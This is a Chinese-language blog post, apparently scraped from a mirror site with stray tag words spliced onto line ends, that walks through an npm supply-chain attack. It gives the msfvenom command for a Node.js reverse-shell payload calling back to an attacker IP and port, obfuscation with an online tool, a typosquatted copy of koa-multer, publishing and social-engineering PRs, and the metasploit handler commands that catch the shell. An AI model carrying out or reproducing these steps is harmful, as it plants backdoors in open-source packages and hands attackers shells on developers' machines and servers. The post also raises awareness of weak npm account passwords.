本文首發於個人知乎專欄HackingSexy:zhuanlan.zhihu.com/p/43514079javascript
這篇文章講述了從一個黑客的角度,以滲透前端項目爲目標,從生成 payload,混淆,隱藏 payload,發佈 npm,社會工程學提 PR,運行腳本,反向鏈接到攻擊主機,最終主機拿到服務器 shell 的故事。css
前端工程師的口頭禪是啥?npm install!前端
這個命令從 npm 倉庫中下載一堆從項目 package.json 中聲明的依賴,下載完依賴後,再下載依賴中 package.json 聲明的依賴,下載完依賴的依賴後,再下載依賴中 package.json 聲明的依賴中的 package.json 聲明的依賴,下載完依賴後…………java
而後下了一堆你都不知道從哪裏來的 npm 包。node
前端工程師的另外一個口頭禪是什麼?npm run dev!mysql
嗯!界面顯示 compile successful!很完美的一次編譯!你以爲是時候展現真正的技術了!react
此時,在網線的另外一端,一個黑客微微一笑:又有一個肉雞上線了。git
這中間都發生了什麼?github
經驗豐富的金魚佬都知道,要釣魚,是確定要先作魚鉤的。黑客也要釣魚,魚鉤是啥?在黑客的世界裏,有一個魚鉤店,叫作 msfvenom,專治各類款(架)式(構),各類型(語)號(言)的魚(機器)。msfvenom 是 metasploit 的一部分,集成在了 Kali 系統裏面。在 Kali 的官網,有現成的虛擬機鏡像,下載了就能用。sql
在 Kali 的 Terminal 裏輸入:
msfvenom -l | grep node
能夠列出全部支持 Node.js 的 payload。這至關於到店裏問:老闆!我要買魚鉤!要能釣 Node.js 的那種!老闆:好嘞!要哪款?
在這裏,咱們選擇 nodejs/shell_reverse_tcp,其實業界最經常使用的 payload 是 meterpreter,可是這款魚鉤還沒上市:
如何生成咱們的 payload 呢,輸入:
msfvenom -p nodejs/shell_reverse_tcp LHOST=192.168.199.165 LPORT=5432 -o index.js
這裏說一下配置的參數:
敲完命令以後,咱們能夠在當前目錄拿到一個名爲 index.js 的 payload,也就是咱們剛買到的魚鉤。payload 很小很小,只有 803 字節。用
cat index.js
命令,能夠看到 payload 長什麼樣。
這時候警覺的前端就會跳出來說:胸底,你這代碼裏又調用 cmd 又調用 /bin/sh,還把攻擊 IP 和端口都暴露出來了,傻子纔會運行你的代碼哦?
別急嘛,好戲纔剛剛開始。
傳統的殺毒軟件,是經過檢測文件特定字符來肯定病毒特徵的,而經過修改特徵碼繞過殺毒軟件的檢測,咱們稱之爲免殺。
而 JavaScript 的變化,簡直比海賊王裏的路飛還要伸縮自如。
舉個例子,一行簡單的代碼:
alert(1)
用 jsfuck 能把它變得連老媽都認不出來:
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]])()
複製代碼
固然咱們不用 jsfuck,由於混淆事後的代碼太大了。
前端喜歡用 UglifyJS 來壓縮代碼,但在這場景下,也許不是最優解。咱們用 JavaScript Obfuscator Tool。
複製 payload,打開 obfuscator.io/ ,粘貼,根據你的口味選擇須要添加的混淆方法,點擊 Obfuscate,一道菜就完成了。
如今已經沒有人類能讀懂這段代碼了,混淆任務完成。
npm 是共產主義的大糧倉,任何人均可以貢獻本身的代碼到 npm 上去。可是如何讓別人下載咱們的代碼呢?這是一門高深的學問。
常規的思路是,作一個和正常 npm 包名字很像的包名,譬如 koa-multer,能夠作一個 koa_multer,而後總有一些人會打錯字,下載到包含 payload 的包。這是一個機率問題,下載 koa-multer 的總量越大,下載 koa_multer 的量也越大。
以 koa-multer 爲例,咱們先把代碼 clone 下載下來。
git clone github.com/koa-modules…
把咱們生成的 payload 複製到項目路徑下,並在 index.js 中引入這個文件。
把 package.json 和 README.md 裏全部的 koa-multer 改爲 koa_multer,並在 package.json 的 files 聲明 payload 的文件名,咱們就作好了一個帶有 payload 的 npm 包。
拿到這個包,就能夠發佈到 npm 源了:
npm publish
爲了演示,我在本地搭了一個 npm 服務器。
能夠看到這個包和正確的 koa-multer 幾乎同樣。若是不深究源碼,前端不會發現本身下載了一個錯誤的包。
接下來要作的事情是,等。就像釣魚同樣,須要耐心。
這時候警覺的前端工程師會跳出來講:你這包一看就知道是坑人的,我確定不會蠢到安裝這種包!
別急,還有其餘方法。
另外一個思路是,作一個通用的 npm 包,譬如能 log 出五彩斑斕顏色的包,而後去給其餘的開源項目提 PR:
我幫你修復了問題 XXX,還加上了彩色 logger 的功能!
咱們是在給開源社區作貢獻吶!
固然,警覺的人會拒絕這個 PR。但這也不要緊,提的 PR 多了,總會有人上鉤的。
一個 npm 包被僞造不是問題,一個惡意的 PR 被不知名的項目 Approve 也不是問題。就像一個請求不能叫攻擊,可是幾百萬的請求打過來的時候,你就知道 DDOS 有多可怕。
黑客徹底能夠把下載 npm 包,僞造代碼併發布這段邏輯自動化。以後,就不只僅是 koa_multer 的問題了,你須要提防 koa-multe,multer-koa,koa-multer-middleware 等等各類奇奇怪怪的 npm 包,還要區分"_"和"-"的區別,固然,也不只僅是 koa-multer 這個包,其餘全部的包均可以如法炮製。
就算再警覺,再當心,總有你注意不到的地方。就像刀劍不入的阿喀琉斯,也會有腳後跟中箭的一天。
另外,大多數 npm 包都是層級依賴關係,你能確保你的 package.json 中不可能聲明有木馬的包,可是你能確保你所依賴的包,這些包的做者,也和你同樣警覺,不會大意?
黑客這邊,須要準備好 handler。
輸入:
msfconsole
進入metasploit的控制檯。而後輸入:
use exploit/multi/handler
使用 handler 模塊。並在 handler 模塊中設置 payload,攻擊主機 IP,攻擊主機端口,並啓動監聽:
set payload nodejs/shell_reverse_tcp set LHOST 192.168.199.165 set LPORT 5432 run
如圖,反向TCP監聽已經成功啓動:
這時候,小白鼠跑了 koa_multer 裏的 demo 代碼!
黑客這邊,立刻能得到這個 shell 的會話:
在這裏,黑客得到了啓動該 Node.js 程序的用戶權限,能夠執行任何該用戶容許執行的命令。譬如查看操做系統,查看 CPU 型號………
sw_vers # 查看操做系統
sysctl -n machdep.cpu.brand_string # 查看操做系統
若是這個程序部署到了生產環境服務器,那麼黑客將能得到這個服務器的shell權限。
內網滲透,脫褲,種馬,導流……拿到 shell 真的能夠隨心所欲。
還沒完呢,精彩還在後頭。
在 2017 年 7 月份,有人對 npm 的帳號作了一次弱口令檢測,檢測結果是:
有弱口令問題帳號所發佈的 npm 包,佔據了整站的 14%。
因爲 npm 包的存在形式相互依賴,由這 14% 的包引起的安全問題,影響到其餘的包,佔據了整站的 54%。
那就意味着,你每 npm install 兩次,就會有一次安裝到不安全的包。這不是危言聳聽。大名鼎鼎 koa.js,發佈的密碼是 "password";react、gulp 等明星項目也不能倖免。下面列舉一些其餘受弱口令問題影響的 npm 包,相信總有你熟悉的名字:
npm 到如今都沒發生過大規模的安全性問題,純屬是運氣好。
因此,讓咱們祝願 npm 永遠幸運吧。
Note:本文旨在交流探討,做者沒有滲透過任何系統。如根據本文思想進行滲透,讀者須自行承擔風險和責任。做者不承擔任何責任。
參考文檔: